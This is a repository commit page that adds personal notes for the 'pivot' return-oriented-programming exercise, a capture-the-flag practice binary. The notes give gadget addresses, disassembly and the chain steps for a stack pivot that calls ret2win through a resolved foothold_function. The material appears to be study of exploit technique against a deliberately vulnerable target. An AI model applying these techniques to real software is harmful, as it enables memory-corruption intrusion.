diff options
author | Brett Weiland <techcrazybsw@gmail.com> | 2020-12-18 19:06:39 -0600 |
---|---|---|
committer | Brett Weiland <techcrazybsw@gmail.com> | 2020-12-18 19:06:39 -0600 |
commit | a6439b8ec3713c3ed3bd4027dc0d11369deddf03 (patch) | |
tree | 006bbc8ebd8d8fd4acc97daac055e29081c974f3 /x86_64/pivot/gadgets | |
parent | 406768c5fead9fcadc9dc466da4286e5ac3c7274 (diff) |
new file: x86_64/pivot/exploit.py
new file: x86_64/pivot/gadgets
Diffstat (limited to 'x86_64/pivot/gadgets')
-rw-r--r-- | x86_64/pivot/gadgets | 44 |
1 files changed, 44 insertions, 0 deletions
diff --git a/x86_64/pivot/gadgets b/x86_64/pivot/gadgets new file mode 100644 index 0000000..7e442a8 --- /dev/null +++ b/x86_64/pivot/gadgets @@ -0,0 +1,44 @@ +Goal is to call ret2win from libpivot +we don't know where ret2win is, but we do know where foothold_function is + +pivot is at 0x7f2041e78f10 +0x0000000000400720 : foothold_function@plt +0x000000000000096a : foothold_function + +resolve ret2win: +1: resolve foothold_function + resolved foothold: [0x400720 + 0x20091a] + offset of foothold vs + +2: ret2win = [0x400720 + 0x20091a] + 279 + +64 rop chains possible at 0x7eff3d368f10 +6 rop chains possible at buffer overflow + +0x00000000004007c8 : pop rbp ; ret +0x00000000004007c1 : jmp rax + +00000000004009bb <usefulGadgets>: + 4009bb: 58 pop rax + 4009bc: c3 ret + + 4009bd: 48 94 xchg rsp,rax + 4009bf: c3 ret + + 4009c0: 48 8b 00 mov rax,QWORD PTR [rax] + 4009c3: c3 ret + + 4009c4: 48 01 e8 add rax,rbp + 4009c7: c3 ret + +1: resolve foothold (2) +4: pop rax (rax is 0x400720 + 0x20091a) +5: pop rbp (rpb is 279) +6: add rax, rbp +7: mov rax, [rax] +8: jmp rax + + +2: pop rax (4) +3: xchg rsp,rax (5) + |